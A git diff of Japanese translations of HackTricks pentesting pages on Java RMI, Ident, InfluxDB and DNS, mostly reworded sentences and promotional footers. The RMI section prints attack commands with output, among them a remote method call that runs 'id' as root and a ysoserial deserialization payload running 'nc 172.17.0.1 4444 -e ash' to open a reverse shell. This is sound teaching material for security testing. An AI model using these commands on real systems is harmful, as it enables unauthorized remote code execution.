開発者がネットワーク内で_Javaオブジェクト_を利用可能にしたい場合、通常はそれらを_RMIレジストリ_にバインドします。_レジストリ_は、オブジェクトに接続するために必要なすべての情報(IPアドレス、リスニングポート、実装されたクラスまたはインターフェース、および`ObjID`値)を保存し、人間が読める名前(_バウンド名_)の下で利用可能にします。_RMIサービス_を消費したいクライアントは、_RMIレジストリ_に対応する_バウンド名_を問い合わせ、レジストリは接続に必要なすべての情報を返します。したがって、状況は基本的に通常の_DNS_サービスと同じです。次のリストは小さな例を示しています:
|
||||
開発者が_Javaオブジェクト_をネットワーク内で利用可能にしたい場合、通常はそれらを_RMIレジストリ_にバインドします。_レジストリ_はオブジェクトに接続するために必要なすべての情報(IPアドレス、リスニングポート、実装されたクラスまたはインターフェース、および`ObjID`値)を保存し、人間が読める名前(_バウンド名_)の下で利用可能にします。_RMIサービス_を消費したいクライアントは、_RMIレジストリ_に対応する_バウンド名_を問い合わせ、レジストリは接続に必要なすべての情報を返します。したがって、状況は基本的に通常の_DNS_サービスと同じです。次のリストは小さな例を示しています:
|
||||
```java
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.registry.LocateRegistry;
|
||||
|
@ -71,19 +71,19 @@ e.printStackTrace();
|
|||
}
|
||||
}
|
||||
```
|
||||
上記の課題の2つ目は、**分散ガベージコレクター**(**DGC**)によって解決されます。これは別の**RMIサービス**であり、よく知られた`ObjID`値を持ち、基本的に各**RMIエンドポイント**で利用可能です。**RMIクライアント**が**RMIサービス**を使用し始めると、対応する**リモートオブジェクト**が使用中であることを**DGC**に情報を送信します。**DGC**はその後、参照カウントを追跡し、未使用のオブジェクトをクリーンアップすることができます。
|
||||
上記のチャレンジの2番目は、**分散ガベージコレクター**(**DGC**)によって解決されます。これは別の**RMIサービス**であり、よく知られた`ObjID`値を持ち、基本的に各**RMIエンドポイント**で利用可能です。**RMIクライアント**が**RMIサービス**を使用し始めると、対応する**リモートオブジェクト**が使用中であることを**DGC**に情報を送信します。**DGC**はその後、参照カウントを追跡し、未使用のオブジェクトをクリーンアップすることができます。
|
||||
|
||||
非推奨の**Activation System**と共に、これらは**Java RMI**の3つのデフォルトコンポーネントです:
|
||||
廃止された**Activation System**と共に、これらは**Java RMI**の3つのデフォルトコンポーネントです:
|
||||
|
||||
1. **RMIレジストリ**(`ObjID = 0`)
|
||||
2. **Activation System**(`ObjID = 1`)
|
||||
3. **Distributed Garbage Collector**(`ObjID = 2`)
|
||||
|
||||
**Java RMI**のデフォルトコンポーネントはかなり長い間既知の攻撃ベクトルであり、古い**Java**バージョンには複数の脆弱性が存在しています。攻撃者の視点から見ると、これらのデフォルトコンポーネントは興味深いものであり、既知のクラス/インターフェースが実装されており、それらと簡単にやり取りすることが可能です。これはカスタム**RMIサービス**に対しては異なります。**リモートオブジェクト**のメソッドを呼び出すには、事前に対応するメソッドシグネチャを知っている必要があります。既存のメソッドシグネチャを知らない場合、**RMIサービス**に通信する方法はありません。
|
||||
**Java RMI**のデフォルトコンポーネントはかなり長い間既知の攻撃ベクトルであり、古い**Java**バージョンには複数の脆弱性が存在しています。攻撃者の視点から見ると、これらのデフォルトコンポーネントは興味深いものであり、既知のクラス/インターフェースが実装されており、それらと簡単にやり取りすることが可能です。これはカスタム**RMIサービス**には当てはまりません。**リモートオブジェクト**のメソッドを呼び出すには、事前に対応するメソッドシグネチャを知っている必要があります。既存のメソッドシグネチャを知らない場合、**RMIサービス**に通信する方法はありません。
|
||||
|
||||
## RMI列挙
|
||||
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)は、一般的な**RMI脆弱性**を自動的に特定できる**Java RMI**脆弱性スキャナーです。**RMI**エンドポイントを特定した場合は、試してみる価値があります。
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)は、一般的な**RMI脆弱性**を自動的に特定できる**Java RMI**脆弱性スキャナーです。**RMI**エンドポイントを特定した場合は、ぜひ試してみてください:
|
||||
```
|
||||
$ rmg enum 172.17.0.2 9010
|
||||
[+] RMI registry bound names:
|
||||
|
@ -143,9 +143,9 @@ $ rmg enum 172.17.0.2 9010
|
|||
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
|
||||
[+] --> Client codebase enabled - Configuration Status: Non Default
|
||||
```
|
||||
The output of the enumeration action is explained in more detail in the [documentation pages](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) of the project. Depending on the outcome, you should try to verify identified vulnerabilities.
|
||||
Enumerationアクションの出力は、プロジェクトの[ドキュメントページ](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action)で詳しく説明されています。結果に応じて、特定された脆弱性を検証する必要があります。
|
||||
|
||||
The `ObjID` values displayed by _remote-method-guesser_ can be used to determine the uptime of the service. This may allows to identify other vulnerabilities:
|
||||
_remote-method-guesser_によって表示される`ObjID`値を使用して、サービスの稼働時間を特定できます。これにより、他の脆弱性を特定できる場合があります:
|
||||
```
|
||||
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
|
||||
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
|
||||
|
@ -158,7 +158,7 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
|
|||
```
|
||||
## リモートメソッドのブルートフォース
|
||||
|
||||
列挙中に脆弱性が特定されなかった場合でも、利用可能な _RMI_ サービスは危険な機能を公開している可能性があります。さらに、_RMI_ デフォルトコンポーネントへの _RMI_ 通信は逆シリアル化フィルターによって保護されていますが、カスタム _RMI_ サービスと通信する際には、そのようなフィルターが通常存在しません。したがって、_RMI_ サービス上の有効なメソッドシグネチャを知ることは有益です。
|
||||
列挙中に脆弱性が特定されなかった場合でも、利用可能な _RMI_ サービスは危険な機能を公開している可能性があります。さらに、_RMI_ 通信が _RMI_ デフォルトコンポーネントに対しては逆シリアル化フィルターによって保護されている一方、カスタム _RMI_ サービスに対しては通常、そのようなフィルターが設定されていません。したがって、_RMI_ サービス上の有効なメソッドシグネチャを知ることは有益です。
|
||||
|
||||
残念ながら、_Java RMI_ は _リモートオブジェクト_ 上のメソッドを列挙することをサポートしていません。ただし、[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) や [rmiscout](https://github.com/BishopFox/rmiscout) などのツールを使用してメソッドシグネチャをブルートフォースすることが可能です。
|
||||
```
|
||||
|
@ -190,12 +190,12 @@ $ rmg guess 172.17.0.2 9010
|
|||
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
|
||||
[+] --> String login(java.util.HashMap dummy1)
|
||||
```
|
||||
特定されたメソッドは次のように呼び出すことができます:
|
||||
特定されたメソッドは、次のように呼び出すことができます:
|
||||
```
|
||||
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
|
||||
[+] uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
または、次のようにデシリアライゼーション攻撃を実行することができます:
|
||||
または、次のようにシリアル化攻撃を実行することもできます:
|
||||
```
|
||||
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
|
||||
[+] Creating ysoserial payload... done.
|
||||
|
@ -229,7 +229,7 @@ uid=0(root) gid=0(root) groups=0(root)
|
|||
|
||||
## 既知のインターフェース
|
||||
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) は、ツールの内部データベースにリストされている _RMI サービス_ の既知のクラスやインターフェースを `known` としてマークします。これらの場合、対応する _RMI サービス_ についてさらに情報を取得するために `known` アクションを使用できます。
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) は、ツールの内部データベースにリストされている _RMI サービス_ の既知のクラスやインターフェースを `known` としてマークします。これらの場合、`known` アクションを使用して対応する _RMI サービス_ に関する詳細情報を取得できます。
|
||||
```
|
||||
$ rmg enum 172.17.0.2 1090 | head -n 5
|
||||
[+] RMI registry bound names:
|
||||
|
@ -313,10 +313,10 @@ Name: Enumeration
|
|||
Description: Perform basic enumeration of an RMI service
|
||||
Command: rmg enum {IP} {PORT}
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -330,7 +330,7 @@ HackTricksをサポートする他の方法:
|
|||
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**したり、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,24 +6,24 @@
|
|||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で **フォロー**する。
|
||||
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに提出する。
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## 基本情報
|
||||
|
||||
**Identプロトコル**は、**インターネット**上で**TCP接続**を特定のユーザーに関連付けるために使用されます。**ネットワーク管理**および**セキュリティ**を支援するために設計されたもので、特定のTCP接続のユーザーに関する情報をリクエストするために、サーバーがポート113でクライアントにクエリを許可することによって動作します。
|
||||
**Identプロトコル** は、**インターネット** 上で **TCP接続** を特定のユーザーに関連付けるために使用されます。**ネットワーク管理** と **セキュリティ** を支援するために設計されたもので、特定のTCP接続のユーザーに関する情報をリクエストするために、サーバーがポート113でクライアントにクエリを許可することによって動作します。
|
||||
|
||||
しかし、現代のプライバシー上の懸念や誤用の可能性により、権限のない者にユーザー情報を誤って明らかにする可能性があるため、その使用は減少しています。これらのリスクを緩和するために、暗号化された接続や厳格なアクセス制御などの強化されたセキュリティ対策が推奨されています。
|
||||
|
||||
|
@ -34,13 +34,13 @@ PORT STATE SERVICE
|
|||
```
|
||||
## **列挙**
|
||||
|
||||
### **手動 - ユーザーの取得/サービスの識別**
|
||||
### **手動 - ユーザーを取得/サービスを特定する**
|
||||
|
||||
マシンがidentおよびsamba(445)を実行しており、ポート43218を使用してsambaに接続している場合、次のようにしてsambaサービスを実行しているユーザーを取得できます:
|
||||
マシンがidentおよびsamba(445)を実行しており、ポート43218を使用してsambaに接続している場合、次のコマンドを使用してsambaサービスを実行しているユーザーを取得できます:
|
||||
|
||||
![](<../.gitbook/assets/image (15) (1) (1).png>)
|
||||
|
||||
サービスに接続するときに単にEnterキーを押すと:
|
||||
サービスに接続するときに単にEnterキーを押すと、次のようになります:
|
||||
|
||||
![](<../.gitbook/assets/image (16) (1) (1).png>)
|
||||
|
||||
|
@ -50,7 +50,7 @@ PORT STATE SERVICE
|
|||
|
||||
### Nmap
|
||||
|
||||
デフォルトでは(\`-sC\`\)、nmapは実行中のすべてのポートのすべてのユーザーを識別します:
|
||||
デフォルトでは(\`-sC\`\)、nmapは実行中のすべてのポートのすべてのユーザーを特定します:
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
22/tcp open ssh OpenSSH 4.3p2 Debian 9 (protocol 2.0)
|
||||
|
@ -85,9 +85,9 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
|
|||
|
||||
identd.conf
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -113,14 +113,14 @@ Note: apt install ident-user-enum ident-user-enum {IP} 22 23 139 445 (try all
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を使用して、ゼロからヒーローまでAWSハッキングを学びましょう</summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**してください
|
||||
- ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
|
||||
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# 8086 - Pentesting InfluxDB
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -10,21 +10,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**を使用して、ゼロからヒーローまでAWSハッキングを学びましょう!</strong></summary>
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**を使用して、ゼロからヒーローまでのAWSハッキングを学びましょう!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
## 基本情報
|
||||
|
||||
**InfluxDB**は、InfluxDataによって開発されたオープンソースの**時系列データベース(TSDB)**です。 TSDBは、タイムスタンプ-値のペアで構成される時系列データを格納および提供するために最適化されています。 一般的な用途のデータベースと比較して、TSDBは時系列データセットの**ストレージスペース**と**パフォーマンス**において大幅な改善を提供します。 専用の圧縮アルゴリズムを使用し、古いデータを自動的に削除するように構成することもできます。 専用のデータベースインデックスもクエリのパフォーマンスを向上させます。
|
||||
**InfluxDB**は、InfluxDataによって開発されたオープンソースの**時系列データベース(TSDB)**です。 TSDBは、タイムスタンプ-値のペアで構成される時系列データを格納および提供するために最適化されています。 汎用データベースと比較して、TSDBは時系列データセットの**ストレージスペース**と**パフォーマンス**において大幅な改善を提供します。 専用の圧縮アルゴリズムを使用し、古いデータを自動的に削除するように構成することもできます。 専用のデータベースインデックスもクエリのパフォーマンスを向上させます。
|
||||
|
||||
**デフォルトポート**: 8086
|
||||
```
|
||||
|
@ -33,7 +33,7 @@ PORT STATE SERVICE VERSION
|
|||
```
|
||||
## 列挙
|
||||
|
||||
ペンテスターの視点からすると、これは他の機密情報を保存している可能性があるデータベースであり、すべての情報をダンプする方法を知っておくことが興味深いです。
|
||||
ペンテスターの視点からすると、これは他のデータベースであり、機密情報を保存している可能性があるため、すべての情報をダンプする方法を知ることが興味深いです。
|
||||
|
||||
### 認証
|
||||
|
||||
|
@ -64,7 +64,7 @@ _internal
|
|||
```
|
||||
#### テーブル/計測値の表示
|
||||
|
||||
[**InfluxDBのドキュメント**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting\_started/)によると、InfluxDBの**measurements**はSQLのテーブルと類似しています。これらの**measurements**の名前付けは、それぞれの内容を示しており、特定のエンティティに関連するデータを保持しています。
|
||||
[**InfluxDBのドキュメント**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting\_started/)によると、InfluxDBの**measurements**はSQLのテーブルと類似しています。これらの**measurements**の名前付けはそれぞれの内容を示しており、特定のエンティティに関連するデータを保持しています。
|
||||
```bash
|
||||
> show measurements
|
||||
name: measurements
|
||||
|
@ -114,7 +114,7 @@ time cpu host usage_guest usage_guest_nice usage_idle
|
|||
1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
認証バイパスのテストで、テーブル名をダブルクォートで囲む必要があることがわかりました。例:`select * from "cpu"`
|
||||
認証バイパスのテストで、テーブル名をダブルクォートで囲む必要があることがわかりました。例: `select * from "cpu"`
|
||||
{% endhint %}
|
||||
|
||||
### 自動化された認証
|
||||
|
@ -125,17 +125,17 @@ msf6 > use auxiliary/scanner/http/influxdb_enum
|
|||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
* **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する
|
||||
- **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、**あなたのハッキングテクニックを共有**する
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
|
|
@ -7,22 +7,22 @@
|
|||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
|
||||
- **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**脆弱性評価とペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えた完全なペンテストをどこからでも実行し、レコンからレポート作成まで対応します。私たちはペンテスターを置き換えるのではなく、カスタムツール、検出、およびエクスプロイトモジュールを開発して、彼らに深く掘り下げる時間を与え、シェルをポップして楽しむことができます。
|
||||
**脆弱性評価とペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えた完全なペンテストをどこからでも実行し、レコンからレポート作成まで対応します。私たちはペンテスターを置き換えるのではなく、カスタムツール、検出、およびエクスプロイトモジュールを開発して、彼らに深く掘り下げる時間を与え、シェルをポップして楽しんでもらいます。
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
## **基本情報**
|
||||
|
||||
**ドメインネームシステム(DNS)**はインターネットのディレクトリとして機能し、ユーザーがgoogle.comやfacebook.comなどの**覚えやすいドメイン名**を介してウェブサイトにアクセスできるようにします。これにより、DNSはドメイン名をIPアドレスに変換することで、Webブラウザがインターネットリソースを迅速に読み込めるようにし、オンライン世界をナビゲートする方法を簡素化します。
|
||||
**ドメインネームシステム(DNS)**はインターネットのディレクトリとして機能し、ユーザーがgoogle.comやfacebook.comなどの**覚えやすいドメイン名**を介してウェブサイトにアクセスできるようにします。ドメイン名をIPアドレスに変換することで、DNSはウェブブラウザがインターネットリソースを迅速に読み込めるようにし、オンライン世界をナビゲートする方法を簡素化します。
|
||||
|
||||
**デフォルトポート:** 53
|
||||
```
|
||||
|
@ -33,10 +33,10 @@ PORT STATE SERVICE REASON
|
|||
```
|
||||
### 異なるDNSサーバー
|
||||
|
||||
* **DNSルートサーバー**: DNS階層のトップにあり、トップレベルドメインを管理し、下位サーバーからの応答がない場合にのみ介入します。インターネット割り当て名前と番号の組織(**ICANN**)が13のグローバルカウントで運営を監視しています。
|
||||
* **権威あるネームサーバー**: これらのサーバーは、指定されたゾーン内のクエリに対して最終的な回答権限を持ち、決定的な回答を提供します。回答を提供できない場合、クエリはルートサーバーにエスカレートされます。
|
||||
* **非権威あるネームサーバー**: DNSゾーンの所有権を持たないため、これらのサーバーは他のサーバーへのクエリを通じてドメイン情報を収集します。
|
||||
* **キャッシュDNSサーバー**: このタイプのサーバーは、将来のリクエストの応答時間を高速化するために以前のクエリ回答を一定時間記憶し、キャッシュの期間は権威あるサーバーによって決定されます。
|
||||
